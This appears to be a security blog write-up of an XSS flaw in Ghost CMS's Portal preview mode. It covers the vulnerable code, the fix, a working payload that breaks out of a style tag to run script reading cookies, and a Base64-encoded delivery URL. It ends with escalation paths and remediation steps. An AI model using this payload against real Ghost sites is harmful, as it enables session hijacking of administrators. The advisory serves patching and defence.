Ghost in the Shell: Unmasking the Portal XSS (CVE-2026-24778)

Ghost is the cool kid on the CMS block—fast, Node.js-based, and beloved by developers who are tired of WordPress spaghetti. One of its slickest features is the Portal: a drop-in, React-based UI that handles membership subscriptions, signups, and logins. It floats elegantly over your content, enticing readers to hand over their credit cards.

But here's the thing about modern front-end components: they love to be "configurable." To help site owners visualize changes without deploying them, the Portal includes a Preview Mode. This mode allows you to pass configuration objects—like brand colors, text content, and logos—directly via the URL.

If you've been in the security game long enough, the phrase "configuration via URL" should make the hair on the back of your neck stand up. It implies that the application is taking untrusted input from the address bar and using it to paint the screen. In the case of CVE-2026-24778, that paintbrush was loaded with high-explosive JavaScript.

The vulnerability stems from a classic case of "Trusting the Client." The Portal component was designed to read an options parameter from the URL query string or hash fragment. This parameter is expected to be a JSON object (often Base64 encoded) containing settings like accent_color or portal_signup_terms_html.

The developers made a fatal assumption: that these values would be data, not code. Consequently, they fed these values into dangerous sinks within the React application without adequate scrubbing.

Sink #1: The HTML Injection. The property portal_signup_terms_html does exactly what it says on the tin. To render it, the code utilized React's dangerouslySetInnerHTML. I always appreciate when frameworks name their insecure functions accurately—it's like a "Warning: High Voltage" sign that developers decided to ignore.

Sink #2: The CSS Breakout. This one is more subtle and fun. The accent_color setting is used to dynamically generate a <style> block. The code took the color string and interpolated it directly into CSS syntax. It didn't check if the color was actually a hex code (e.g., #FF0000). This allowed attackers to close the style block (</style>) and open a new script tag.

Let's look at the vulnerable logic versus the fix. The patch (Commit da858e6) is a textbook example of "oops, we forgot to validate inputs."

The CSS Injection Vector:

Vulnerable Code:

// It takes the color and dumps it into a string
const styles = `:root { --brandcolor: ${this.context.brandColor} }` + NotificationStyle;
 
// Then it renders that string as raw HTML inside a style tag
return <style dangerouslySetInnerHTML={{__html: styles}} />;

If brandColor is #ff0000, it works fine. But if brandColor is #fff;}</style><script>alert(1)</script>, the browser interprets the closing style tag and executes the script. It's 2005 all over again.

The Fix:

// Now we validate that it actually LOOKS like a hex color
const validateHexColor = (color) => {
    if (!color || typeof color !== 'string') return null;
    // Strict Regex: Only hex digits allowed
    const regex = /^#([0-9A-Fa-f]{3}|[0-9A-Fa-f]{4}|[0-9A-Fa-f]{6}|[0-9A-Fa-f]{8})$/;
    return regex.test(color) ? color : null;
};

The HTML Injection Vector:

Vulnerable Code:

<div dangerouslySetInnerHTML={{__html: signupTermsHtml}} />

The Fix:

// Bring in the heavy guns: DOMPurify
import DOMPurify from 'dompurify';
 
const sanitizedHtml = DOMPurify.sanitize(signupTermsHtml, {
    ALLOWED_TAGS: ['a', 'b', 'strong', 'i', 'em', 'u', 'br', 'p'],
    ALLOWED_ATTR: ['href', 'target', 'rel']
});

By forcing the input through DOMPurify and a regex validator, they've effectively closed the window.

Exploiting this requires zero authentication. We just need to trick someone into clicking a link. Let's build a Proof-of-Concept (PoC) using the CSS breakout vector, as it's cleaner than the HTML one.

Step 1: The Payload We need a JSON object that sets the accent_color to our malicious string.

{
  "accent_color": "#ffffff;}</style><script>alert(document.cookie)</script><style>"
}

Step 2: Encoding The Portal expects this to be part of the URL options. Depending on the specific version and deployment, this might be a raw query param or Base64 encoded. Let's assume Base64 for the full effect.

// Base64 encode the payload
btoa('{"accent_color": "#ffffff;}</style><script>alert(document.domain)</script><style>"')
// Output: eyJhY2NlbnRfY29sb3IiOiAiI2ZmZmZmZjt9PC9zdHlsZT48c2NyaXB0PmFsZXJ0KGRvY3VtZW50LmRvbWFpbik8L3NjcmlwdD48c3R5bGU+In0=

Step 3: Delivery We append this to the target URL: https://target-ghost-blog.com/#/portal/preview?options=eyJhY2NlbnRfY29sb3IiOiAiI2ZmZmZmZjt9PC9zdHlsZT48c2NyaXB0PmFsZXJ0KGRvY3VtZW50LmRvbWFpbik8L3NjcmlwdD48c3R5bGU+In0=

When the victim (an administrator) clicks this link, the Portal loads, reads the options, injects the malformed style tag, and immediately executes our JavaScript. We can now hijack their session.

You might say, "It's just XSS, big deal." But in the context of a CMS like Ghost, XSS is the gateway to the kingdom.

If an attacker targets a Ghost administrator, stealing the session cookie allows them to log in to the backend. Once inside, Ghost provides ample functionality that can be chained into Remote Code Execution (RCE). An admin can typically upload themes, modify integrations, or inject code into the site footer for persistence.

Furthermore, because the Portal handles PII (Personally Identifiable Information) of members—email addresses, subscription statuses, and potentially payment tokens—an attacker could execute a worm that scrapes the entire member database and exfiltrates it to a remote server. This is a high-impact flaw hiding in a "preview" button.

Ghost patched this in Core v5.121.0 and v6.15.0. The fix involves updating the @tryghost/portal dependency.

Because the Portal is often loaded from a CDN (static.ghost.org), many users were patched automatically when Ghost pushed the new version to their edge servers. However, if you are self-hosting the Portal component or have pinned a specific version in your build pipeline, you are still vulnerable.

Remediation Steps:

1. Update Ghost: Run ghost update to get the latest core version.
2. Clear Caches: If you use Cloudflare or another CDN, purge your cache to ensure the new JS bundle is served.
3. Audit Logs: Check your access logs for requests to #/portal/preview containing suspicious, long query strings. That might be the fingerprint of an attempted exploit.